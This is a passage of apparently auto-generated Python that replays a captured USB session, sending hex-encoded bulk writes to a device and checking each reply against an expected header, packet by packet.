b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE4\\x02\\xCE\\x69\\xEA\\xAE\\xB9\\x31\"\n b\"\\xB2\\xCB\\x05\\x9B\\x13\\xF5\\x53\\x56\\x83\\x93\\xC2\\x96\\x6D\\x99\\xE2\\x25\"\n b\"\\x02\\x2D\\x68\\x37\\x67\\x66\\x59\\x9C\\x52\\xE1\\xCF\\x79\\x83\\xB3\\x92\\x18\"\n b\"\\xA3\\x00\\x02\\xFC\\xF1\\x27\\xE3\\x06\\x35\\x85\\xD5\\x51\\x31\\x7F\\x25\\xF7\"\n b\"\\xE5\\xA9\\x71\\xAB\\x7C\\x0D\\xBE\\x9C\\xA8\\x53\\xFD\\x0A\\xD3\\x87\\x01\\xA2\"\n b\"\\x01\\x04\\xB5\\x9D\\xBA\\xF8\\x45\\x16\\x14\\xB8\\x5E\\x02\\x7F\\x72\\xAB\\x40\"\n b\"\\x46\\x49\\xB2\\x06\\xC0\\xBF\\xEF\\x9C\\x79\\x6F\\xD9\\xEB\\xAE\\xC3\\x40\\xDA\"\n b\"\\x90\\xCB\\x08\\xD9\\x5D\\x01\\xCA\\xDC\\x1A\\x79\\xDD\\x7D\\xCF\\xAB\\xD4\\x72\"\n b\"\\xDA\\xE2\\x2F\\x84\\x7B\\x20\\x34\\x0B\\xA3\\x4D\\x45\\xEA\\xFB\\xC9\\xB3\\x98\"\n b\"\\xAE\\x36\\x72\\x89\\x1D\\x04\\x56\\x0C\\x50\\x13\\x62\\xDA\\x1E\\x7F\\x7F\\x01\"\n b\"\\x1A\\x55\\xAB\\xE7\\x6E\\xA5\\xF0\\x5D\\xAB\\xA1\\x6C\\x64\\x19\\x01\\xB6\\xD5\"\n b\"\\xEB\\xEF\\x36\\x1F\\x8A\\x52\\x43\\xE0\\x1C\\x00\\x41\\x2F\\xA1\\x5E\\x3B\\x1E\"\n b\"\\xF3\\x63\\x83\\x37\\x60\\x01\\x8D\\x00\\x67\\x37\\xA0\\x2C\\x55\\xDA\\xEF\\x5D\"\n b\"\\xEB\\x7A\\x61\\xF5\\x9D\\x68\\x3E\\xE5\\xAE\\xF3\\xDB\\x2F\\x1E\\x45\\x98\\x29\"\n b\"\\xDB\\xEC\\x50\\x8C\\xC1\\x45\\x82\\x9B\\x33\\x39\\x7B\\xE1\\x42\\xCF\\xDF\\x0C\"\n b\"\\xA9\\x36\\x89\\x53\\x3E\\x86\\xAE\\xC1\\xD9\\x21\\x79\\x84\\xB1\\x59\\x59\\xBB\"\n b\"\\x85\\x45\\xF2\\xDB\\x90\\x45\\x32\\x51\\x24\\xFA\\x5D\\x1E\")\n # Generated from packet 1495/1496\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1495/1496\")\n # Generated from packet 1497/1498\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBB\\x0A\\x83\\x81\\xD9\\x10\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xF9\\x10\\x96\\x06\\xC4\\x21\\x32\\x9E\"\n b\"\\xF6\\x4C\\x77\\x35\\x3E\\xCA\\x31\\xEE\\x52\\xAE\\xD4\\x87\\xFB\\xF4\\x0E\\x2D\"\n b\"\\x45\\x07\\x4B\\x9D\\xFF\\xB4\\x7F\\xB3\\x30\\xD1\\x21\\xFB\\xA8\\xFC\\x2C\\x53\"\n b\"\\x80\\xD8\\x69\\x8C\\x83\\x7E\\x6C\\x78\\x08\\xE8\\x90\\xD2\\x03\\x93\\x12\\x2C\"\n b\"\\x57\\x85\\xFA\\x5A\\x5A\\x99\\xFA\\x87\\x43\\x3C\\x13\\x83\\x97\\xA8\\x8A\\x03\"\n b\"\\xF2\\xAC\\xCA\\xBE\\x11\\xF3\\x3C\\xE0\\x3F\\x12\\x10\\x34\\x9A\\xB5\\xC4\\x71\"\n b\"\\x41\\xEE\\xF1\\xF9\\x65\\xE9\\x26\\x71\\x71\\x18\\x10\\x9E\\x7E\\x15\\x84\\x8D\"\n b\"\\xB7\\x7A\\x1C\\xB1\\xF8\\xAA\\x84\\x6D\\x03\\xCE\\x48\\x38\\xF0\\x5A\\x3F\\xC5\"\n b\"\\xDB\\xDD\\xAF\\x58\\x21\\x53\\x8E\\xE6\\x64\\xEE\\x35\\x35\\xE5\\xC9\\xDF\\x83\"\n b\"\\x6B\\x20\\x69\\xD1\\xC1\\x95\\x54\\xD3\\x8C\\xC3\\x39\\x45\\x67\\x3F\\xDC\\xB8\"\n b\"\\x49\\x78\\xEC\\x7B\\xAF\\xC5\\x9C\\x50\\x13\\x1A\\x68\\x72\\xAD\\x43\\x4F\\xDB\"\n b\"\\x7B\\xA2\\xD3\\x85\\xF9\\xB4\\x8F\\x4C\\x98\\xE4\\xDA\\x6F\\xAB\\x27\\x31\\x2B\"\n b\"\\xCE\\xD8\\x14\\x5C\\xA1\\xE1\\xC9\\x9C\\x6B\\xA1\\xC5\\xDD\\x5F\\x5F\\x2C\\xB3\"\n b\"\\x99\\x42\\x67\\x49\\xAE\\xD9\\x81\\xF5\\x05\\x8B\\x65\\xE6\\xD5\\x9C\\x6A\\x29\"\n b\"\\x75\\xF0\\xA0\\xCD\\x4E\\xB8\\x85\\x7F\\x94\\x57\\x14\\xDF\\xE1\\x0B\\xC7\\xCC\"\n b\"\\xE7\\x81\\xE1\\x64\\x33\\x66\\xF8\\xA1\\x51\\x9B\\x40\\x8A\\x73\\x87\\x20\\x82\"\n b\"\\x8F\\x11\\x34\\x04\\x15\\x59\\x3D\\x32\\xAE\\x96\\x28\\x02\")\n # Generated from packet 1499/1500\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1499/1500\")\n # Generated from packet 1501/1502\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xE5\\xCF\\xFB\\x17\\x6C\\x6C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x63\\xF7\\x14\\x56\\x04\\xFC\\xC5\\x97\"\n b\"\\xD0\\x6F\\xB5\\x15\\xA6\\x81\\x6F\\xF8\\x4A\\xB9\\x45\\x99\\x08\\x1E\\x60\\x08\"\n b\"\\xB2\\xEC\\x10\\x08\\xB0\\xC0\\xBD\\x69\\xC1\\x4F\\xE7\\x02\\xA1\\x97\\xCD\\x6D\"\n b\"\\xC8\\x51\\x86\\x99\\x48\\xAF\\x70\\xFD\\x1F\\xFF\\xEA\\x62\\x91\\xC7\\xF2\\xF9\"\n b\"\\xDE\\x56\\x6A\\xE6\\xFD\\x0C\\xDC\\xC4\\x54\\x8B\\x62\\xC5\\xB4\\x66\\x15\\x99\"\n b\"\\x9F\\x57\\x5C\\x4C\\xA2\\xC7\\x70\\x35\\x3D\\xD1\\xC3\\x2D\\x08\\x85\\x5A\\x43\"\n b\"\\x87\\xBF\\xE8\\x92\\xEB\\xE0\\xCA\\xD0\\x88\\xC0\\x2F\\x2A\\x3F\\x4C\\x3D\\x63\"\n b\"\\xD0\\x64\\xF6\\x3B\\x2F\\x47\\x32\\x1E\\x2A\\x6F\\x18\\x4E\\x08\\xB8\\xAC\\x74\"\n b\"\\xA6\\x91\\x2E\\x50\\xE9\\x0F\\x2A\\x46\\x30\\x56\\xC2\\x13\\x01\\xE9\\x6C\\xB6\"\n b\"\\x31\\x85\\xD6\\xF6\\xBE\\x53\\x55\\x71\\xA7\\x06\\x55\\xC9\\x98\\x03\\x7A\\x8E\"\n b\"\\xAA\\x07\\xFE\\x9F\\x89\\x21\\xC3\\x14\\x11\\xC9\\x21\\x5C\\x64\\x02\\x70\\x05\"\n b\"\\x09\\x1F\\x20\\xDF\\x7E\\xCA\\x56\\x4A\\xC8\\xFC\\x1B\\x3C\\xF7\\x19\\x07\\xDF\"\n b\"\\x34\\x0F\\x88\\xBF\\x95\\xC8\\x66\\x24\\x65\\xA3\\x63\\xE7\\xFF\\xFA\\x6F\\x54\"\n b\"\\x72\\xCB\\xD2\\x94\\xC3\\x51\\x73\\xAB\\xD0\\x31\\xE7\\xE5\\x7A\\x65\\x1D\\xAA\"\n b\"\\xEE\\xF1\\xC8\\x8F\\xBF\\xA5\\x2D\\x59\\x46\\x40\\x8F\\xE4\\xFB\\x87\\x75\\x42\"\n b\"\\xFB\\x9C\\xC5\\x97\\xDA\\xDA\\x64\\x6B\\xB5\\x23\\xBD\\xEA\\x85\\xE7\\x47\\xF2\"\n b\"\\x50\\x3F\\x6E\\x8D\\x9A\\xF2\\x1C\\x7E\\xEC\\x13\\xE4\\x2A\")\n # Generated from packet 1503/1504\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1503/1504\")\n # Generated from packet 1505/1506\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x29\\x53\\x81\\xED\\xA1\\x6E\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x41\\x9D\\x3B\\xD8\\x72\\x51\\x18\\x70\"\n b\"\\xCD\\xF5\\x9B\\x7F\\x82\\x8A\\xB4\\xDF\\xB2\\x2C\\x5E\\x69\\x7F\\xDD\\xF8\\x2D\"\n b\"\\xD6\\x9E\\x06\\x65\\xB9\\xC3\\x8F\\x0D\\x8D\\xCE\\x69\\x19\\x51\\xB1\\xD1\\x3D\"\n b\"\\xE3\\x12\\xA0\\xE6\\xD7\\x1D\\x8B\\x74\\x3A\\xE8\\xCB\\x1F\\xDA\\x62\\x8B\\x6A\"\n b\"\\x69\\x77\\xE6\\xDE\\xEA\\x27\\x80\\x5A\\x11\\x4E\\xD1\\xC5\\x96\\xED\\x2D\\x0C\"\n b\"\\xC3\\x89\\x13\\x3B\\xC3\\x1B\\x28\\x3C\\xA0\\xD3\\x94\\xB4\\xF9\\x58\\x15\\x58\"\n b\"\\xDB\\x3A\\xCE\\xA8\\xC7\\x00\\xAA\\xA5\\x84\\xB8\\x3E\\xD1\\x0B\\x37\\xCD\\x38\"\n b\"\\x5A\\x85\\x9F\\x84\\xA8\\xF5\\xE5\\x1D\\xD7\\xF7\\x1C\\x3B\\x27\\x4E\\xE0\\xEF\"\n b\"\\xDD\\x3B\\x9A\\xF3\\x3B\\x65\\x41\\x3D\\xF3\\x8B\\xC8\\x66\\x2E\\xAE\\x75\\xA7\"\n b\"\\x4C\\x39\\x6F\\x4C\\x86\\xCD\\xA9\\x17\\xCB\\xAB\\x74\\x75\\x76\\x36\\xE6\\x3F\"\n b\"\\x03\\x38\\xE7\\x26\\x11\\xA5\\x3D\\xB5\\x6A\\x0F\\xAE\\x6F\\xA9\\x95\\x72\\x1F\"\n b\"\\x49\\x6F\\xCF\\x3A\\x15\\x98\\x4F\\xFC\\xE9\\x75\\xCC\\xFC\\x70\\xC1\\x39\\xA3\"\n b\"\\x95\\x78\\xED\\x37\\xF9\\x8F\\xE3\\x6E\\xAA\\x2D\\x16\\x22\\x7E\\x44\\xAA\\x45\"\n b\"\\x87\\xE1\\x0F\\x3C\\x11\\x47\\x4E\\x5E\\xDB\\x6B\\x21\\x1D\\xED\\x11\\xC2\\x9A\"\n b\"\\xBE\\x17\\x16\\x2F\\xA2\\xCA\\xB3\\x41\\xB4\\x7B\\x10\\xF0\\xD8\\x03\\xB4\\x5E\"\n b\"\\x41\\x6B\\x81\\x2D\\x4B\\x75\\x55\\x6C\\x95\\xB5\\x25\\x10\\x0E\\xE8\\x5F\\x5A\"\n b\"\\xE3\\x5E\\x0D\\x97\\x5A\\xE1\\xD3\\xAC\\x96\\x1C\\x97\\x8E\")\n # Generated from packet 1507/1508\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1507/1508\")\n # Generated from packet 1509/1510\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x13\\xF9\\xE1\\xC5\\x66\\x4C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x62\\x7C\\x7A\\x57\\x7F\\x4E\\x3B\\x77\"\n b\"\\xA3\\xE8\\xB6\\x15\\xCA\\xE0\\x90\\x85\\xA5\\xE0\\x57\\x93\\x96\\x1A\\xDC\\xE5\"\n b\"\\xE7\\xED\\x30\\x6B\\x9E\\x00\\xFB\\x6E\\x65\\xDB\\xAC\\xF0\\xE6\\x19\\x18\\xDB\"\n b\"\\xF8\\xDA\\x1E\\x7A\\x00\\x1B\\x12\\x57\\x8F\\x3C\\xCC\\x94\\x76\\x47\\x5E\\xD2\"\n b\"\\xC3\\x1D\\x27\\x3B\\x4D\\xF1\\x5A\\x75\\xEE\\xF8\\x74\\x51\\x71\\xFE\\x9D\\x3B\"\n b\"\\xBF\\xED\\xC8\\xE2\\x95\\x37\\x44\\xD6\\x97\\x62\\x6B\\xC4\\xF0\\x60\\x4D\\x67\"\n b\"\\xBF\\xB1\\x15\\xFB\\x3E\\x00\\x73\\xD7\\xA0\\x9C\\x8E\\x32\\xD4\\x11\\xFC\\x23\"\n b\"\\xFC\\x04\\xD0\\xBC\\x60\\xA2\\xCC\\x7A\\x0F\\x53\\x12\\x94\\xBC\\xBC\\x51\\xAC\"\n b\"\\x80\\x5A\\x97\\x49\\x82\\xE6\\xBC\\xF6\\xE7\\x82\\x1C\\x77\\xB4\\x03\\x98\\xE7\"\n b\"\\x29\\xB6\\x3D\\x23\\xD5\\xCC\\x14\\x07\\x1E\\x2A\\xD4\\x44\\xDA\\x1F\\x68\\xDE\"\n b\"\\x90\\xAB\\xF8\\x23\\x40\\xF5\\x90\\x38\\x41\\xCD\\xD3\\xDD\\xF8\\xCF\\xA3\\xFA\"\n b\"\\x0A\\x3B\\x88\\x04\\xD7\\xDE\\x34\\x04\\xA7\\x6D\\x65\\xB0\\xB9\\xDB\\x18\\xCF\"\n b\"\\x64\\x46\\xF9\\x71\\x83\\xC2\\x77\\x1A\\xBF\\xF8\\xF9\\x0A\\x6F\\xEC\\xBE\\x9A\"\n b\"\\xAC\\xEC\\xDD\\x41\\x2B\\xA1\\xB3\\xD4\\xBD\\x0D\\xFD\\x5A\\x21\\xDC\\x46\\xFF\"\n b\"\\x11\\x03\\x8C\\x76\\xCD\\x94\\xCF\\xB7\\x4C\\x13\\xE1\\x4C\\x97\\x68\\x57\\x6F\"\n b\"\\xC4\\x7C\\x14\\x8C\\x0F\\x20\\x15\\x16\\x9A\\xAE\\x88\\xB2\\x2D\\x13\\xA3\\xB0\"\n b\"\\xF0\\xAA\\x65\\xB2\\x29\\xB7\\xA5\\x5C\\x2C\\x8E\\xED\\x5E\")\n # Generated from packet 1511/1512\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1511/1512\")\n # Generated from packet 1513/1514\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x07\\x6F\\x2C\\x87\\x5E\\x5C\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x59\\x41\\x7D\\x02\\x57\\x9B\\x07\\xFD\"\n b\"\\x52\\x11\\x7B\\x75\\x7B\\xF0\\xB4\\x64\\x86\\x3F\\x16\\x82\\xD5\\xAA\\x46\\x19\"\n b\"\\x2F\\x2D\\xBC\\xF0\\xE9\\xF0\\x9E\\xCB\\x6F\\x0B\\x5A\\x00\\x85\\xFE\\x56\\xDF\"\n b\"\\xBA\\xF2\\xF7\\x0C\\xA4\\x73\\xD7\\xD3\\x9C\\xD9\\x97\\x44\\x3A\\xCB\\x7A\\x69\"\n b\"\\xB3\\x75\\xC0\\x57\\x9F\\xCE\\x16\\xD5\\x7F\\x3E\\xCE\\x70\\x25\\xDF\\xC4\\x76\"\n b\"\\x86\\x82\\x71\\xA2\\x6E\\x70\\x6A\\xBF\\xAC\\x03\\xDA\\xC4\\xFE\\x66\\x37\\x4A\"\n b\"\\xFA\\xA8\\xAB\\x6F\\xE9\\xCF\\x34\\x9B\\xD3\\x6E\\x8C\\xD4\\x55\\x4D\\x76\\x3B\"\n b\"\\x38\\x98\\xB2\\xF5\\xE6\\x8C\\xEE\\x48\\xD5\\x9A\\x4A\\xD4\\xB4\\x01\\x82\\x4E\"\n b\"\\x52\\xB9\\xD2\\x8E\\x7C\\x00\\x2C\\xE0\\x38\\x76\\x9E\\xB3\\xF2\\x47\\x8D\\xC7\"\n b\"\\x46\\xE7\\xFF\\x74\\xDD\\x15\\x56\\xFA\\x91\\xCD\\x78\\xC2\\x47\\xF7\\x8E\\x59\"\n b\"\\xD9\\x73\\x20\\xCA\\x46\\x47\\xD9\\x1E\\x7F\\x19\\x35\\x31\\x0A\\x23\\xEA\\xC2\"\n b\"\\x2B\\x0B\\xA7\\x9C\\xBE\\xF3\\x9C\\xCB\\x85\\x26\\x59\\x2C\\x0A\\x5C\\xE3\\x66\"\n b\"\\x36\\x0A\\x3F\\x1E\\x88\\x3F\\x98\\x22\\xE8\\x5D\\x70\\x5D\\xE2\\x0B\\x0B\\x6C\"\n b\"\\xE5\\x56\\xEB\\x60\\x26\\x37\\x0F\\x07\\x10\\x9D\\x71\\x6C\\x59\\x00\\x2D\\x80\"\n b\"\\x77\\x79\\x35\\x98\\xF3\\x66\\xDE\\x57\\x66\\x95\\x20\\x37\\x13\\x59\\xDA\\x0C\"\n b\"\\x0F\\x2B\\x2C\\x8A\\xB8\\xF0\\x25\\x94\\xB5\\x34\\xFE\\x11\\x5B\\xC9\\xA0\\x9D\"\n b\"\\x67\\x00\\xC3\\xA2\\x4A\\x7F\\xA3\\xEC\\x2E\\xB7\\x70\\x7E\")\n # Generated from packet 1515/1516\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1515/1516\")\n # Generated from packet 1517/1518\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x6D\\x23\\xEC\\xEF\\x4E\\x6D\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xB6\\x25\\x23\\x75\\x46\\x5D\\x24\\xF9\"\n b\"\\x36\\x8A\\x49\\xE6\\x4A\\xA9\\x6D\\x8B\\x26\\x01\\x35\\xAD\\xCD\\x3B\\x90\\x41\"\n b\"\\x63\\xDE\\x2A\\x84\\xD9\\xD3\\x0F\\x9C\\x5E\\x0E\\xEC\\xA1\\x0B\\x06\\x36\\xCD\"\n b\"\\x3E\\xBD\\xD9\\xA3\\x61\\x33\\x3F\\x33\\xB4\\x14\\x33\\xE9\\x94\\xA7\\x26\\xF9\"\n b\"\\x06\\xC5\\x49\\x44\\xD2\\x2F\\x68\\xAC\\xF8\\x2A\\xE8\\xC2\\xAA\\x0B\\x1A\\x99\"\n b\"\\x2F\\x3C\\x51\\x4E\\x94\\xB2\\x89\\xB5\\x95\\x4E\\xD3\\xCC\\xB6\\x4E\\x7F\\x1E\"\n b\"\\x9F\\x89\\x38\\x6C\\x78\\xD5\\x21\\x6D\\xD4\\x8D\\xB4\\xE1\\x4A\\x2D\\x94\\xC0\"\n b\"\\xF1\\xAD\\x1C\\xAD\\xCA\\x63\\xAE\\xDA\\xDA\\x26\\x68\\xFE\\x8E\\x9F\\x84\\xF9\"\n b\"\\x22\\x7B\\x2A\\xED\\x2E\\xDC\\x9B\\xAE\\x22\\x43\\x3E\\x07\\x48\\xC9\\xA1\\x77\"\n b\"\\x40\\xB0\\x63\\xC8\\x2D\\x7B\\x4B\\x38\\x0E\\x7D\\xDE\\x73\\x8B\\xC9\\x51\\x6E\"\n b\"\\x7E\\x75\\x68\\xDE\\xA7\\x59\\x5C\\x2E\\x91\\xC5\\x33\\xDF\\xCB\\xAF\\xC5\\x55\"\n b\"\\x5F\\x18\\x46\\x81\\x19\\x53\\x57\\xB8\\xE2\\x92\\xCE\\xCB\\x16\\x2E\\x42\\xE7\"\n b\"\\xA8\\xE3\\xF6\\x20\\x95\\x96\\xC7\\x99\\xD3\\x33\\x07\\xED\\x84\\xC8\\x77\\x2F\"\n b\"\\xF7\\x3A\\xC4\\xC7\\x45\\x04\\xDE\\x8B\\x13\\x91\\x8F\\x7F\\x8B\\x81\\xCF\\x2A\"\n b\"\\x54\\xC4\\xAA\\x52\\x34\\x05\\xD7\\x6D\\x56\\x16\\xDF\\x9F\\xFD\\x81\\xDA\\x10\"\n b\"\\x50\\x05\\x9E\\xB9\\x2A\\x86\\xEA\\x8B\\x32\\x2C\\xA8\\x44\\xC1\\xD7\\xEC\\xA9\"\n b\"\\x7A\\x9C\\x4C\\x79\\x95\\x4E\\x65\\x7B\\xAE\\x0F\\x7E\\x5A\")\n # Generated from packet 1519/1520\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1519/1520\")\n # Generated from packet 1521/1522\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\xBE\\x72\\x03\\xB2\\xE1\\x01\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x29\\x68\\xA8\\x1D\\xCC\\x6E\\xAE\\xD2\"\n b\"\\xBB\\xBA\\xEA\\x93\\x4B\\x4D\\xBF\\x05\\xA6\\x9A\\xC1\\x56\\x1E\\xB9\\xE6\\x01\"\n b\"\\x91\\xD2\\x58\\x60\\xA3\\x74\\x00\\x0A\\xE9\\x2B\\xEF\\x02\\x64\\x0D\\x4E\\x71\"\n b\"\\xD6\\xEE\\x89\\x53\\x38\\x8C\\xAE\\xC1\\xDF\\xA6\\xF6\\xB9\\x5A\\x2E\\xC7\\x30\"\n b\"\\x12\\x1C\\xE5\\xFD\\xD5\\x67\\xCF\\x70\\xB5\\xD3\\x0F\\x82\\x44\\x94\\xDC\\xF6\"\n b\"\\xA2\\x12\\x2D\\xB6\\x74\\x3B\\x3C\\x07\\x98\\xD5\\xFF\\xA5\\xEA\\x9A\\x98\\xFB\"\n b\"\\x0A\\xA2\\x78\\x35\\x55\\xB0\\x48\\x07\\x08\\x41\\xBD\\xDC\\x90\\x9B\\x50\\xF8\"\n b\"\\xB4\\x30\\xC8\\xA3\\x6C\\x63\\xC0\\x2E\\x04\\xF8\\x00\\x1A\\x20\\xEF\\x73\\x92\"\n b\"\\xDE\\xE4\\x4E\\x0D\\x60\\x7F\\x1C\\xA4\\xDE\\x02\\x1E\\x6E\\x94\\x4E\\x0F\\x29\"\n b\"\\xF4\\x41\\x1C\\x28\\xFE\\xE1\\x60\\x5A\\x12\\x12\\x2F\\x6E\\x5F\\x98\\x9A\\xC9\"\n b\"\\x34\\x5C\\x64\\x23\\x69\\x89\\xBD\\x3C\\xFB\\xBC\\xBB\\x89\\x4D\\x34\\x63\\x66\"\n b\"\\xFA\\x20\\x75\\xC3\\x6D\\x6F\\x67\\x4D\\x2B\\xB4\\xB7\\x19\\xBA\\xD5\\x00\\x40\"\n b\"\\x6D\\xAB\\xBB\\xAB\\x69\\x18\\x1C\\x89\\xA8\\xBD\\x18\\x16\\xCD\\x2D\\x83\\xBC\"\n b\"\\x1F\\x49\\x7B\\x50\\xF1\\x6E\\x31\\x08\\x7C\\x33\\x60\\xAA\\xC1\\x10\\xCE\\x6D\"\n b\"\\x72\\x37\\x26\\xB6\\x14\\xD2\\x14\\xF0\\x5D\\xE6\\xCE\\x8D\\x59\\x58\\x7F\\x27\"\n b\"\\x9C\\xC0\\x69\\xB2\\x4D\\x77\\x30\\x37\\x0F\\xA3\\x42\\xF1\\x30\\x5E\\x68\\xFD\"\n b\"\\x43\\x07\\x74\\xB4\\x08\\x07\\x02\\x54\\x41\\x07\\xD4\\xDD\")\n # Generated from packet 1523/1524\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1523/1524\")\n # Generated from packet 1525/1526\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x75\\xCA\\x56\\xE3\\x30\\x10\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x3D\\x28\\x48\\x2B\\xC2\\x97\\x03\\xF5\"\n b\"\\xEA\\x1A\\xA7\\x76\\xAC\\xC7\\xFF\\x84\\xA1\\x6C\\x87\\xAE\\xC3\\x53\\x07\\xBD\"\n b\"\\xB2\\xD9\\x09\\xA9\\xF8\\x82\\x90\\xAA\\xEA\\x26\\x10\\x20\\xEF\\x58\\xCF\\x9D\"\n b\"\\x8C\\x5E\\xE5\\x85\\x7A\\xBC\\x1B\\x72\\x1E\\xA0\\x30\\xC2\\x1E\\x53\\x80\\x92\"\n b\"\\x07\\x8F\\xDC\\xD1\\xDD\\x1A\\xA5\\xE1\\x67\\x9C\\x1C\\x4E\\xA1\\xE2\\xF6\\x4D\"\n b\"\\x38\\xF3\\xC7\\x69\\x20\\x69\\xC5\\xBA\\x40\\x47\\x8B\\x7A\\xAF\\xFD\\x0A\\x3E\"\n b\"\\x02\\xA8\\x35\\x02\\xB0\\x64\\xFD\\x02\\x39\\xB2\\x14\\x7D\\x26\\x36\\x53\\x7A\"\n b\"\\xD9\\x9E\\x3B\\x49\\x3B\\x76\\xD8\\x7D\\xDF\\xAE\\xE6\\xE0\\x74\\x44\\xE7\\x77\"\n b\"\\x97\\xD2\\xE2\\xD5\\x7A\\x01\\xB0\\x37\\xCB\\x98\\x36\\xC3\\x0F\\x41\\x5A\\x73\"\n b\"\\xDB\\x6E\\xA0\\x6B\\x0A\\xC1\\x00\\xE0\\x5A\\xFA\\x0C\\xA3\\x01\\xC5\\x99\\x0C\"\n b\"\\x48\\x01\\x64\\x47\\x2C\\xBA\\xCE\\x7F\\xB4\\xF9\\x65\\x49\\x66\\x69\\xBA\\xCC\"\n b\"\\xCC\\x98\\xE7\\x6E\\x45\\x09\\x08\\xB8\\xEE\\x7B\\xE6\\x2D\\x8F\\xB7\\xB6\\x9F\"\n b\"\\x60\\x27\\xE7\\x72\\x48\\xDE\\xDF\\xB4\\x80\\xDC\\xEE\\x2A\\xE9\\x30\\xB8\\xB5\"\n b\"\\xD7\\x83\\xE9\\x9D\\xCE\\x08\\x74\\xF5\\xB5\\x85\\x7C\\xCA\\x7C\\x7B\\x4E\\x35\"\n b\"\\xCE\\xF9\\x26\\x78\\x5C\\xA8\\x9E\\xE7\\x70\\xF8\\xF3\\xD2\\xB4\\xB7\\xA5\\x0B\"\n b\"\\xE8\\x4A\\x4E\\xDB\\x03\\x0E\\x58\\x45\\xDA\\x05\\xE9\\x92\\x60\\x3D\\xD2\\x4A\"\n b\"\\x11\\x05\\xF0\\x0A\\xF9\\xBD\\x10\\x6C\\x7C\\x59\\xA0\\x31\")\n # Generated from packet 1527/1528\n buff = bulkRead(0x81, 0x0200)\n validate_read(b\"\\x3B\\x00\\x30\\x00\\x00\\x01\\x07\\x00\", buff, \"packet 1527/1528\")\n # Generated from packet 1529/1530\n bulkWrite(0x01, b\"\\x3B\\x00\\x14\\x01\\x00\\x00\\x00\\x00\\x87\\x9C\\xB8\\x32\\x9C\\x5A\\x00\\x00\"\n b\"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xD3\\x16\\x46\\x20\\x16\\xCD\\xDC\\x34\"\n b\"\\x8C\\x86\\x2C\\x1E\\x92\\x00\\x70\\xBC\\x34\\x5F\\x03\\x87\\xE0\\x37\\xD4\\xAB\"\n b\"\\xE3\\x66\\xD3\\xDF\\xF9\\x6A\\x04\\xCF\\x40\\xF0\\x08\\xFB\\x53\\x26\\xB6\\x03\"\n b\"\\xA5\\x45\\x8F\\x0D\\x33\\x99\\xF0\\x95\\xE8\\xCA\\xBE\\x5C\\xDF\\xC8\\x23\\x8D\"\n b\"\\xF1\\x30\\x0A\\xB6\\x37\\xBE\\xF5\\x6E\\xD0\\xB1\\x11\\xF9\\x03\\xA0\\x3B\\xE3\"\n b\"\\x14\\x2F\\x49\\x24\\xED\\xFA\\xFF\\x74\\xB8\\x1B\\x7A\\x7E\\x64\\x75\\x58\\x8B\"\n b\"\\x1F\\x3D\\xB8\\xF4\\x43\\xBB\\xD5\\x1E\\x2C\\x7D\\x03\\x06\\x07\\x75\\xB8\\xD9\"\n b\"\\x45\\x23\\x2E\\xDD\\xF3\\x59\\x41\\x7A\\xB6\\xDF\\x1E\\xEC\\x6D\\x88\\x5F\\x88\"\n b\"\\xBC\\x95\\x37\\x52\\xF4\\x46\\x27\\x4D\\xD8\\xD7\\x17\\x1D\\x45\\xE0\\x42\\x91\"\n b\"\\x16\\xDB\\x29\\x9C\\x81\\xF5\\x2F\\x0C\\x40\\x27\\x39\\x1F\\x55\\x41\\x47\\x2A\"\n b\"\\xD2\\x5A\\xA2\\x74\\xE8\\x2B\\xF1\\xF4\\xC8\\xA2\\x67\\xCF\\x14\\x5D\\x46\\xB3\"\n b\"\\x43\\xD8\\xC3\\xF8\\x55\\x49\\x4E\\x58\\xA4\\xEC\\xD1\\x44\\xF6\\x8C\\x6D\\xE4\"\n b\"\\x00\\x1D\\x37\\xEC\\x8D\\x40\\xFF\\x2A\\xA8\\x3F\\x1D\\x21\\x00\\x56\\x70\\x3E\"\n 